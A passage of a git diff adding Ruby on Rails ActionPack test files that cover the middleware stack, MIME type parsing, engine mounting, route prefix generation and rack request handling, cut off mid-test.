+ app = lambda { |env| [200, {}, [""]] }
+ assert_raises ArgumentError do
+ mapper.mount app
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/middleware_stack/middleware_test.rb b/actionpack/test/dispatch/middleware_stack/middleware_test.rb
new file mode 100644
index 0000000..9607f02
--- /dev/null
+++ b/actionpack/test/dispatch/middleware_stack/middleware_test.rb
@@ -0,0 +1,77 @@
+require 'abstract_unit'
+require 'action_dispatch/middleware/stack'
+
+module ActionDispatch
+ class MiddlewareStack
+ class MiddlewareTest < ActiveSupport::TestCase
+ class Omg; end
+
+ {
+ 'concrete' => Omg,
+ 'anonymous' => Class.new
+ }.each do |name, klass|
+
+ define_method("test_#{name}_klass") do
+ mw = Middleware.new klass
+ assert_equal klass, mw.klass
+ end
+
+ define_method("test_#{name}_==") do
+ mw1 = Middleware.new klass
+ mw2 = Middleware.new klass
+ assert_equal mw1, mw2
+ end
+
+ end
+
+ def test_string_class
+ mw = Middleware.new Omg.name
+ assert_equal Omg, mw.klass
+ end
+
+ def test_double_equal_works_with_classes
+ k = Class.new
+ mw = Middleware.new k
+ assert_operator mw, :==, k
+
+ result = mw != Class.new
+ assert result, 'middleware should not equal other anon class'
+ end
+
+ def test_double_equal_works_with_strings
+ mw = Middleware.new Omg
+ assert_operator mw, :==, Omg.name
+ end
+
+ def test_double_equal_normalizes_strings
+ mw = Middleware.new Omg
+ assert_operator mw, :==, "::#{Omg.name}"
+ end
+
+ def test_middleware_loads_classnames_from_cache
+ mw = Class.new(Middleware) {
+ attr_accessor :classcache
+ }.new(Omg.name)
+
+ fake_cache = { mw.name => Omg }
+ mw.classcache = fake_cache
+
+ assert_equal Omg, mw.klass
+
+ fake_cache[mw.name] = Middleware
+ assert_equal Middleware, mw.klass
+ end
+
+ def test_middleware_always_returns_class
+ mw = Class.new(Middleware) {
+ attr_accessor :classcache
+ }.new(Omg)
+
+ fake_cache = { mw.name => Middleware }
+ mw.classcache = fake_cache
+
+ assert_equal Omg, mw.klass
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/middleware_stack_test.rb b/actionpack/test/dispatch/middleware_stack_test.rb
new file mode 100644
index 0000000..948a690
--- /dev/null
+++ b/actionpack/test/dispatch/middleware_stack_test.rb
@@ -0,0 +1,117 @@
+require 'abstract_unit'
+
+class MiddlewareStackTest < ActiveSupport::TestCase
+ class FooMiddleware; end
+ class BarMiddleware; end
+ class BazMiddleware; end
+ class BlockMiddleware
+ attr_reader :block
+ def initialize(&block)
+ @block = block
+ end
+ end
+
+ def setup
+ @stack = ActionDispatch::MiddlewareStack.new
+ @stack.use FooMiddleware
+ @stack.use BarMiddleware
+ end
+
+ test "use should push middleware as class onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use BazMiddleware
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "use should push middleware as a string onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use "MiddlewareStackTest::BazMiddleware"
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "use should push middleware as a symbol onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use :"MiddlewareStackTest::BazMiddleware"
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "use should push middleware class with arguments onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use BazMiddleware, true, :foo => "bar"
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ assert_equal([true, {:foo => "bar"}], @stack.last.args)
+ end
+
+ test "use should push middleware class with block arguments onto the stack" do
+ proc = Proc.new {}
+ assert_difference "@stack.size" do
+ @stack.use(BlockMiddleware, &proc)
+ end
+ assert_equal BlockMiddleware, @stack.last.klass
+ assert_equal proc, @stack.last.block
+ end
+
+ test "insert inserts middleware at the integer index" do
+ @stack.insert(1, BazMiddleware)
+ assert_equal BazMiddleware, @stack[1].klass
+ end
+
+ test "insert_after inserts middleware after the integer index" do
+ @stack.insert_after(1, BazMiddleware)
+ assert_equal BazMiddleware, @stack[2].klass
+ end
+
+ test "insert_before inserts middleware before another middleware class" do
+ @stack.insert_before(BarMiddleware, BazMiddleware)
+ assert_equal BazMiddleware, @stack[1].klass
+ end
+
+ test "insert_after inserts middleware after another middleware class" do
+ @stack.insert_after(BarMiddleware, BazMiddleware)
+ assert_equal BazMiddleware, @stack[2].klass
+ end
+
+ test "swaps one middleware out for another" do
+ assert_equal FooMiddleware, @stack[0].klass
+ @stack.swap(FooMiddleware, BazMiddleware)
+ assert_equal BazMiddleware, @stack[0].klass
+ end
+
+ test "swaps one middleware out for same middleware class" do
+ assert_equal FooMiddleware, @stack[0].klass
+ @stack.swap(FooMiddleware, FooMiddleware, Proc.new { |env| [500, {}, ['error!']] })
+ assert_equal FooMiddleware, @stack[0].klass
+ end
+
+ test "unshift adds a new middleware at the beginning of the stack" do
+ @stack.unshift :"MiddlewareStackTest::BazMiddleware"
+ assert_equal BazMiddleware, @stack.first.klass
+ end
+
+ test "raise an error on invalid index" do
+ assert_raise RuntimeError do
+ @stack.insert("HiyaMiddleware", BazMiddleware)
+ end
+
+ assert_raise RuntimeError do
+ @stack.insert_after("HiyaMiddleware", BazMiddleware)
+ end
+ end
+
+ test "lazy evaluates middleware class" do
+ assert_difference "@stack.size" do
+ @stack.use "MiddlewareStackTest::BazMiddleware"
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "lazy compares so unloaded constants are not loaded" do
+ @stack.use "UnknownMiddleware"
+ @stack.use :"MiddlewareStackTest::BazMiddleware"
+ assert @stack.include?("::MiddlewareStackTest::BazMiddleware")
+ end
+end
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
new file mode 100644
index 0000000..6a2eb7d
--- /dev/null
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -0,0 +1,210 @@
+require 'abstract_unit'
+
+class MimeTypeTest < ActiveSupport::TestCase
+ Mime::Type.register "image/png", :png unless defined? Mime::PNG
+ Mime::Type.register "application/pdf", :pdf unless defined? Mime::PDF
+
+ test "parse single" do
+ Mime::LOOKUP.keys.each do |mime_type|
+ unless mime_type == 'image/*'
+ assert_equal [Mime::Type.lookup(mime_type)], Mime::Type.parse(mime_type)
+ end
+ end
+ end
+
+ test "unregister" do
+ begin
+ Mime::Type.register("text/x-mobile", :mobile)
+ assert defined?(Mime::MOBILE)
+ assert_equal Mime::MOBILE, Mime::LOOKUP['text/x-mobile']
+ assert_equal Mime::MOBILE, Mime::EXTENSION_LOOKUP['mobile']
+
+ Mime::Type.unregister(:mobile)
+ assert !defined?(Mime::MOBILE), "Mime::MOBILE should not be defined"
+ assert !Mime::LOOKUP.has_key?('text/x-mobile'), "Mime::LOOKUP should not have key ['text/x-mobile]"
+ assert !Mime::EXTENSION_LOOKUP.has_key?('mobile'), "Mime::EXTENSION_LOOKUP should not have key ['mobile]"
+ ensure
+ Mime.module_eval { remove_const :MOBILE if const_defined?(:MOBILE) }
+ Mime::LOOKUP.reject!{|key,_| key == 'text/x-mobile'}
+ end
+ end
+
+ test "parse text with trailing star at the beginning" do
+ accept = "text/*, text/html, application/json, multipart/form-data"
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
+ parsed = Mime::Type.parse(accept)
+ assert_equal expect, parsed
+ end
+
+ test "parse text with trailing star in the end" do
+ accept = "text/html, application/json, multipart/form-data, text/*"
+ expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML]
+ parsed = Mime::Type.parse(accept)
+ assert_equal expect, parsed
+ end
+
+ test "parse text with trailing star" do
+ accept = "text/*"
+ expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON]
+ parsed = Mime::Type.parse(accept)
+ assert_equal expect, parsed
+ end
+
+ test "parse application with trailing star" do
+ accept = "application/*"
+ expect = [Mime::HTML, Mime::JS, Mime::XML, Mime::RSS, Mime::ATOM, Mime::YAML, Mime::URL_ENCODED_FORM, Mime::JSON, Mime::PDF, Mime::ZIP]
+ parsed = Mime::Type.parse(accept)
+ assert_equal expect, parsed
+ end
+
+ test "parse without q" do
+ accept = "text/xml,application/xhtml+xml,text/yaml,application/xml,text/html,image/png,text/plain,application/pdf,*/*"
+ expect = [Mime::HTML, Mime::XML, Mime::YAML, Mime::PNG, Mime::TEXT, Mime::PDF, Mime::ALL]
+ assert_equal expect, Mime::Type.parse(accept)
+ end
+
+ test "parse with q" do
+ accept = "text/xml,application/xhtml+xml,text/yaml; q=0.3,application/xml,text/html; q=0.8,image/png,text/plain; q=0.5,application/pdf,*/*; q=0.2"
+ expect = [Mime::HTML, Mime::XML, Mime::PNG, Mime::PDF, Mime::TEXT, Mime::YAML, Mime::ALL]
+ assert_equal expect, Mime::Type.parse(accept)
+ end
+
+ test "parse single media range with q" do
+ accept = "text/html;q=0.9"
+ expect = [Mime::HTML]
+ assert_equal expect, Mime::Type.parse(accept)
+ end
+
+ test "parse arbitrary media type parameters" do
+ accept = 'multipart/form-data; boundary="simple boundary"'
+ expect = [Mime::MULTIPART_FORM]
+ assert_equal expect, Mime::Type.parse(accept)
+ end
+
+ # Accept header send with user HTTP_USER_AGENT: Sunrise/0.42j (Windows XP)
+ test "parse broken acceptlines" do
+ accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/*,,*/*;q=0.5"
+ expect = [Mime::HTML, Mime::XML, "image/*", Mime::TEXT, Mime::ALL]
+ assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+ end
+
+ # Accept header send with user HTTP_USER_AGENT: Mozilla/4.0
+ # (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)
+ test "parse other broken acceptlines" do
+ accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, , pronto/1.00.00, sslvpn/1.00.00.00, */*"
+ expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL]
+ assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
+ end
+
+ test "custom type" do
+ begin
+ Mime::Type.register("image/foo", :foo)
+ assert_nothing_raised do
+ assert_equal Mime::FOO, Mime::SET.last
+ end
+ ensure
+ Mime::Type.unregister(:FOO)
+ end
+ end
+
+ test "custom type with type aliases" do
+ begin
+ Mime::Type.register "text/foobar", :foobar, ["text/foo", "text/bar"]
+ %w[text/foobar text/foo text/bar].each do |type|
+ assert_equal Mime::FOOBAR, type
+ end
+ ensure
+ Mime::Type.unregister(:FOOBAR)
+ end
+ end
+
+ test "register callbacks" do
+ begin
+ registered_mimes = []
+ Mime::Type.register_callback do |mime|
+ registered_mimes << mime
+ end
+
+ Mime::Type.register("text/foo", :foo)
+ assert_equal registered_mimes, [Mime::FOO]
+ ensure
+ Mime::Type.unregister(:FOO)
+ end
+ end
+
+ test "custom type with extension aliases" do
+ begin
+ Mime::Type.register "text/foobar", :foobar, [], [:foo, "bar"]
+ %w[foobar foo bar].each do |extension|
+ assert_equal Mime::FOOBAR, Mime::EXTENSION_LOOKUP[extension]
+ end
+ ensure
+ Mime::Type.unregister(:FOOBAR)
+ end
+ end
+
+ test "register alias" do
+ begin
+ Mime::Type.register_alias "application/xhtml+xml", :foobar
+ assert_equal Mime::HTML, Mime::EXTENSION_LOOKUP['foobar']
+ ensure
+ Mime::Type.unregister(:FOOBAR)
+ end
+ end
+
+ test "type should be equal to symbol" do
+ assert_equal Mime::HTML, 'application/xhtml+xml'
+ assert_equal Mime::HTML, :html
+ end
+
+ test "type convenience methods" do
+ # Don't test Mime::ALL, since it Mime::ALL#html? == true
+ types = Mime::SET.symbols.uniq - [:all, :iphone]
+
+ # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
+ types.delete_if { |type| !Mime.const_defined?(type.upcase) }
+
+
+ types.each do |type|
+ mime = Mime.const_get(type.upcase)
+ assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?"
+ assert mime.send("#{type}?"), "#{mime.inspect} is not #{type}?"
+ invalid_types = types - [type]
+ invalid_types.delete(:html) if Mime::Type.html_types.include?(type)
+ invalid_types.each { |other_type| assert !mime.send("#{other_type}?"), "#{mime.inspect} is #{other_type}?" }
+ end
+ end
+
+ test "mime all is html" do
+ assert Mime::ALL.all?, "Mime::ALL is not all?"
+ assert Mime::ALL.html?, "Mime::ALL is not html?"
+ end
+
+ test "verifiable mime types" do
+ all_types = Mime::SET.symbols
+ all_types.uniq!
+ # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
+ all_types.delete_if { |type| !Mime.const_defined?(type.upcase) }
+ assert_deprecated do
+ verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
+ assert verified.each { |type| assert Mime.const_get(type.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
+ assert unverified.each { |type| assert !Mime.const_get(type.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
+ end
+ end
+
+ test "references gives preference to symbols before strings" do
+ assert_equal :html, Mime::HTML.ref
+ another = Mime::Type.lookup("foo/bar")
+ assert_nil another.to_sym
+ assert_equal "foo/bar", another.ref
+ end
+
+ test "regexp matcher" do
+ assert Mime::JS =~ "text/javascript"
+ assert Mime::JS =~ "application/javascript"
+ assert Mime::JS !~ "text/html"
+ assert !(Mime::JS !~ "text/javascript")
+ assert !(Mime::JS !~ "application/javascript")
+ assert Mime::HTML =~ 'application/xhtml+xml'
+ end
+end
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
new file mode 100644
index 0000000..e5e28c2
--- /dev/null
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -0,0 +1,68 @@
+require 'abstract_unit'
+
+class TestRoutingMount < ActionDispatch::IntegrationTest
+ Router = ActionDispatch::Routing::RouteSet.new
+
+ class FakeEngine
+ def self.routes
+ Object.new
+ end
+
+ def self.call(env)
+ [200, {"Content-Type" => "text/html"}, ["OK"]]
+ end
+ end
+
+ Router.draw do
+ SprocketsApp = lambda { |env|
+ [200, {"Content-Type" => "text/html"}, ["#{env["SCRIPT_NAME"]} -- #{env["PATH_INFO"]}"]]
+ }
+
+ mount SprocketsApp, :at => "/sprockets"
+ mount SprocketsApp => "/shorthand"
+
+ mount FakeEngine, :at => "/fakeengine", :as => :fake
+ mount FakeEngine, :at => "/getfake", :via => :get
+
+ scope "/its_a" do
+ mount SprocketsApp, :at => "/sprocket"
+ end
+ end
+
+ def app
+ Router
+ end
+
+ def test_mounting_sets_script_name
+ get "/sprockets/omg"
+ assert_equal "/sprockets -- /omg", response.body
+ end
+
+ def test_mounting_works_with_nested_script_name
+ get "/foo/sprockets/omg", {}, 'SCRIPT_NAME' => '/foo', 'PATH_INFO' => '/sprockets/omg'
+ assert_equal "/foo/sprockets -- /omg", response.body
+ end
+
+ def test_mounting_works_with_scope
+ get "/its_a/sprocket/omg"
+ assert_equal "/its_a/sprocket -- /omg", response.body
+ end
+
+ def test_mounting_with_shorthand
+ get "/shorthand/omg"
+ assert_equal "/shorthand -- /omg", response.body
+ end
+
+ def test_mounting_works_with_via
+ get "/getfake"
+ assert_equal "OK", response.body
+
+ post "/getfake"
+ assert_response :not_found
+ end
+
+ def test_with_fake_engine_does_not_call_invalid_method
+ get "/fakeengine"
+ assert_equal "OK", response.body
+ end
+end
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
new file mode 100644
index 0000000..113608e
--- /dev/null
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -0,0 +1,335 @@
+require 'abstract_unit'
+require 'rack/test'
+
+module TestGenerationPrefix
+ class Post
+ extend ActiveModel::Naming
+
+ def to_param
+ "1"
+ end
+
+ def self.model_name
+ klass = "Post"
+ def klass.name; self end
+
+ ActiveModel::Name.new(klass)
+ end
+ end
+
+ class WithMountedEngine < ActionDispatch::IntegrationTest
+ include Rack::Test::Methods
+
+ class BlogEngine
+ def self.routes
+ @routes ||= begin
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw do
+ get "/posts/:id", :to => "inside_engine_generating#show", :as => :post
+ get "/posts", :to => "inside_engine_generating#index", :as => :posts
+ get "/url_to_application", :to => "inside_engine_generating#url_to_application"
+ get "/polymorphic_path_for_engine", :to => "inside_engine_generating#polymorphic_path_for_engine"
+ get "/conflicting_url", :to => "inside_engine_generating#conflicting"
+ get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
+ end
+
+ routes
+ end
+ end
+
+ def self.call(env)
+ env['action_dispatch.routes'] = routes
+ routes.call(env)
+ end
+ end
+
+ class RailsApplication
+ def self.routes
+ @routes ||= begin
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw do
+ scope "/:omg", :omg => "awesome" do
+ mount BlogEngine => "/blog", :as => "blog_engine"
+ end
+ get "/posts/:id", :to => "outside_engine_generating#post", :as => :post
+ get "/generate", :to => "outside_engine_generating#index"
+ get "/polymorphic_path_for_app", :to => "outside_engine_generating#polymorphic_path_for_app"
+ get "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
+ get "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
+ get "/conflicting_url", :to => "outside_engine_generating#conflicting"
+ get "/ivar_usage", :to => "outside_engine_generating#ivar_usage"
+ root :to => "outside_engine_generating#index"
+ end
+
+ routes
+ end
+ end
+
+ def self.call(env)
+ env['action_dispatch.routes'] = routes
+ routes.call(env)
+ end
+ end
+
+ # force draw
+ RailsApplication.routes
+ RailsApplication.routes.define_mounted_helper(:main_app)
+
+ class ::InsideEngineGeneratingController < ActionController::Base
+ include BlogEngine.routes.url_helpers
+ include RailsApplication.routes.mounted_helpers
+
+ def index
+ render :text => posts_path
+ end
+
+ def show
+ render :text => post_path(:id => params[:id])
+ end
+
+ def url_to_application
+ path = main_app.url_for(:controller => "outside_engine_generating",
+ :action => "index",
+ :only_path => true)
+ render :text => path
+ end
+
+ def polymorphic_path_for_engine
+ render :text => polymorphic_path(Post.new)
+ end
+
+ def conflicting
+ render :text => "engine"
+ end
+ end
+
+ class ::OutsideEngineGeneratingController < ActionController::Base
+ include BlogEngine.routes.mounted_helpers
+ include RailsApplication.routes.url_helpers
+
+ def index
+ render :text => blog_engine.post_path(:id => 1)
+ end
+
+ def polymorphic_path_for_engine
+ render :text => blog_engine.polymorphic_path(Post.new)
+ end
+
+ def polymorphic_path_for_app
+ render :text => polymorphic_path(Post.new)
+ end
+
+ def polymorphic_with_url_for
+ render :text => blog_engine.url_for(Post.new)
+ end
+
+ def conflicting
+ render :text => "application"
+ end
+
+ def ivar_usage
+ @blog_engine = "Not the engine route helper"
+ render :text => blog_engine.post_path(:id => 1)
+ end
+ end
+
+ class EngineObject
+ include ActionDispatch::Routing::UrlFor
+ include BlogEngine.routes.url_helpers
+ end
+
+ class AppObject
+ include ActionDispatch::Routing::UrlFor
+ include RailsApplication.routes.url_helpers
+ end
+
+ def app
+ RailsApplication
+ end
+
+ def engine_object
+ @engine_object ||= EngineObject.new
+ end
+
+ def app_object
+ @app_object ||= AppObject.new
+ end
+
+ def setup
+ RailsApplication.routes.default_url_options = {}
+ end
+
+ include BlogEngine.routes.mounted_helpers
+
+ # Inside Engine
+ test "[ENGINE] generating engine's url use SCRIPT_NAME from request" do
+ get "/pure-awesomeness/blog/posts/1"
+ assert_equal "/pure-awesomeness/blog/posts/1", last_response.body
+ end
+
+ test "[ENGINE] generating application's url never uses SCRIPT_NAME from request" do
+ get "/pure-awesomeness/blog/url_to_application"
+ assert_equal "/generate", last_response.body
+ end
+
+ test "[ENGINE] generating engine's url with polymorphic path" do
+ get "/pure-awesomeness/blog/polymorphic_path_for_engine"
+ assert_equal "/pure-awesomeness/blog/posts/1", last_response.body
+ end
+
+ test "[ENGINE] url_helpers from engine have higher priotity than application's url_helpers" do
+ get "/awesome/blog/conflicting_url"
+ assert_equal "engine", last_response.body
+ end
+
+ # Inside Application
+ test "[APP] generating engine's route includes prefix" do
+ get "/generate"
+ assert_equal "/awesome/blog/posts/1", last_response.body
+ end
+
+ test "[APP] generating engine's route includes default_url_options[:script_name]" do
+ RailsApplication.routes.default_url_options = {:script_name => "/something"}
+ get "/generate"
+ assert_equal "/something/awesome/blog/posts/1", last_response.body
+ end
+
+ test "[APP] generating engine's url with polymorphic path" do
+ get "/polymorphic_path_for_engine"
+ assert_equal "/awesome/blog/posts/1", last_response.body
+ end
+
+ test "polymorphic_path_for_app" do
+ get "/polymorphic_path_for_app"
+ assert_equal "/posts/1", last_response.body
+ end
+
+ test "[APP] generating engine's url with url_for(@post)" do
+ get "/polymorphic_with_url_for"
+ assert_equal "http://example.org/awesome/blog/posts/1", last_response.body
+ end
+
+ test "[APP] instance variable with same name as engine" do
+ get "/ivar_usage"
+ assert_equal "/awesome/blog/posts/1", last_response.body
+ end
+
+ # Inside any Object
+ test "[OBJECT] proxy route should override respond_to?() as expected" do
+ assert_respond_to blog_engine, :named_helper_that_should_be_invoked_only_in_respond_to_test_path
+ end
+
+ test "[OBJECT] generating engine's route includes prefix" do
+ assert_equal "/awesome/blog/posts/1", engine_object.post_path(:id => 1)
+ end
+
+ test "[OBJECT] generating engine's route includes dynamic prefix" do
+ assert_equal "/pure-awesomeness/blog/posts/3", engine_object.post_path(:id => 3, :omg => "pure-awesomeness")
+ end
+
+ test "[OBJECT] generating engine's route includes default_url_options[:script_name]" do
+ RailsApplication.routes.default_url_options = {:script_name => "/something"}
+ assert_equal "/something/pure-awesomeness/blog/posts/3", engine_object.post_path(:id => 3, :omg => "pure-awesomeness")
+ end
+
+ test "[OBJECT] generating application's route" do
+ assert_equal "/", app_object.root_path
+ end
+
+ test "[OBJECT] generating application's route includes default_url_options[:script_name]" do
+ RailsApplication.routes.default_url_options = {:script_name => "/something"}
+ assert_equal "/something/", app_object.root_path
+ end
+
+ test "[OBJECT] generating application's route includes default_url_options[:trailing_slash]" do
+ RailsApplication.routes.default_url_options[:trailing_slash] = true
+ assert_equal "/awesome/blog/posts", engine_object.posts_path
+ end
+
+ test "[OBJECT] generating engine's route with url_for" do
+ path = engine_object.url_for(:controller => "inside_engine_generating",
+ :action => "show",
+ :only_path => true,
+ :omg => "omg",
+ :id => 1)
+ assert_equal "/omg/blog/posts/1", path
+ end
+
+ test "[OBJECT] generating engine's route with named helpers" do
+ path = engine_object.posts_path
+ assert_equal "/awesome/blog/posts", path
+
+ path = engine_object.posts_url(:host => "example.com")
+ assert_equal "http://example.com/awesome/blog/posts", path
+ end
+
+ test "[OBJECT] generating engine's route with polymorphic_url" do
+ path = engine_object.polymorphic_path(Post.new)
+ assert_equal "/awesome/blog/posts/1", path
+
+ path = engine_object.polymorphic_url(Post.new, :host => "www.example.com")
+ assert_equal "http://www.example.com/awesome/blog/posts/1", path
+ end
+ end
+
+ class EngineMountedAtRoot < ActionDispatch::IntegrationTest
+ include Rack::Test::Methods
+
+ class BlogEngine
+ def self.routes
+ @routes ||= begin
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw do
+ get "/posts/:id", :to => "posts#show", :as => :post
+ end
+
+ routes
+ end
+ end
+
+ def self.call(env)
+ env['action_dispatch.routes'] = routes
+ routes.call(env)
+ end
+ end
+
+ class RailsApplication
+ def self.routes
+ @routes ||= begin
+ routes = ActionDispatch::Routing::RouteSet.new
+ routes.draw do
+ mount BlogEngine => "/"
+ end
+
+ routes
+ end
+ end
+
+ def self.call(env)
+ env['action_dispatch.routes'] = routes
+ routes.call(env)
+ end
+ end
+
+ # force draw
+ RailsApplication.routes
+
+ class ::PostsController < ActionController::Base
+ include BlogEngine.routes.url_helpers
+ include RailsApplication.routes.mounted_helpers
+
+ def show
+ render :text => post_path(:id => params[:id])
+ end
+ end
+
+ def app
+ RailsApplication
+ end
+
+ test "generating path inside engine" do
+ get "/posts/1"
+ assert_equal "/posts/1", last_response.body
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/rack_cache_test.rb b/actionpack/test/dispatch/rack_cache_test.rb
new file mode 100644
index 0000000..79d8a64
--- /dev/null
+++ b/actionpack/test/dispatch/rack_cache_test.rb
@@ -0,0 +1,21 @@
+require 'abstract_unit'
+require 'action_dispatch/http/rack_cache'
+
+class RackCacheMetaStoreTest < ActiveSupport::TestCase
+ class ReadWriteHash < ::Hash
+ alias :read :[]
+ alias :write :[]=
+ end
+
+ setup do
+ @store = ActionDispatch::RailsMetaStore.new(ReadWriteHash.new)
+ end
+
+ test "stuff is deep duped" do
+ @store.write(:foo, { :bar => :original })
+ hash = @store.read(:foo)
+ hash[:bar] = :changed
+ hash = @store.read(:foo)
+ assert_equal :original, hash[:bar]
+ end
+end
diff --git a/actionpack/test/dispatch/rack_test.rb b/actionpack/test/dispatch/rack_test.rb
new file mode 100644
index 0000000..6d239d0
--- /dev/null
+++ b/actionpack/test/dispatch/rack_test.rb
@@ -0,0 +1,207 @@
+require 'abstract_unit'
+
+# TODO: Merge these tests into RequestTest
+
+class BaseRackTest < ActiveSupport::TestCase
+ def setup
+ @env = {
+ "HTTP_MAX_FORWARDS" => "10",
+ "SERVER_NAME" => "glu.ttono.us",
+ "FCGI_ROLE" => "RESPONDER",
+ "AUTH_TYPE" => "Basic",
+ "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
+ "HTTP_ACCEPT_CHARSET" => "UTF-8",
+ "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
+ "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
+ "HTTP_PRAGMA" => "no-cache",
+ "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
+ "PATH_INFO" => "/homepage/",
+ "HTTP_ACCEPT_LANGUAGE" => "en",
+ "HTTP_NEGOTIATE" => "trans",
+ "HTTP_HOST" => "glu.ttono.us:8007",
+ "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
+ "HTTP_FROM" => "googlebot",
+ "SERVER_PROTOCOL" => "HTTP/1.1",
+ "REDIRECT_URI" => "/dispatch.fcgi",
+ "SCRIPT_NAME" => "/dispatch.fcgi",
+ "SERVER_ADDR" => "207.7.108.53",
+ "REMOTE_ADDR" => "207.7.108.53",
+ "REMOTE_HOST" => "google.com",
+ "REMOTE_IDENT" => "kevin",
+ "REMOTE_USER" => "kevin",
+ "SERVER_SOFTWARE" => "lighttpd/1.4.5",
+ "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
+ "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
+ "REQUEST_URI" => "/admin",
+ "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
+ "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
+ "SERVER_PORT" => "8007",
+ "QUERY_STRING" => "",
+ "REMOTE_PORT" => "63137",
+ "GATEWAY_INTERFACE" => "CGI/1.1",
+ "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
+ "HTTP_ACCEPT" => "*/*",
+ "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
+ "REDIRECT_STATUS" => "200",
+ "REQUEST_METHOD" => "GET"
+ }
+ @request = ActionDispatch::Request.new(@env)
+ # some Nokia phone browsers omit the space after the semicolon separator.
+ # some developers have grown accustomed to using comma in cookie values.
+ @alt_cookie_fmt_request = ActionDispatch::Request.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
+ end
+
+ private
+ def set_content_data(data)
+ @request.env['REQUEST_METHOD'] = 'POST'
+ @request.env['CONTENT_LENGTH'] = data.length
+ @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
+ @request.env['rack.input'] = StringIO.new(data)
+ end
+end
+
+class RackRequestTest < BaseRackTest
+ test "proxy request" do
+ assert_equal 'glu.ttono.us', @request.host_with_port
+ end
+
+ test "http host" do
+ @env.delete "HTTP_X_FORWARDED_HOST"
+ @env['HTTP_HOST'] = "rubyonrails.org:8080"
+ assert_equal "rubyonrails.org", @request.host
+ assert_equal "rubyonrails.org:8080", @request.host_with_port
+
+ @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
+ assert_equal "www.secondhost.org", @request.host
+ end
+
+ test "http host with default port overrides server port" do
+ @env.delete "HTTP_X_FORWARDED_HOST"
+ @env['HTTP_HOST'] = "rubyonrails.org"
+ assert_equal "rubyonrails.org", @request.host_with_port
+ end
+
+ test "host with port defaults to server name if no host headers" do
+ @env.delete "HTTP_X_FORWARDED_HOST"
+ @env.delete "HTTP_HOST"
+ assert_equal "glu.ttono.us:8007", @request.host_with_port
+ end
+
+ test "host with port falls back to server addr if necessary" do
+ @env.delete "HTTP_X_FORWARDED_HOST"
+ @env.delete "HTTP_HOST"
+ @env.delete "SERVER_NAME"
+ assert_equal "207.7.108.53", @request.host
+ assert_equal 8007, @request.port
+ assert_equal "207.7.108.53:8007", @request.host_with_port
+ end
+
+ test "host with port if http standard port is specified" do
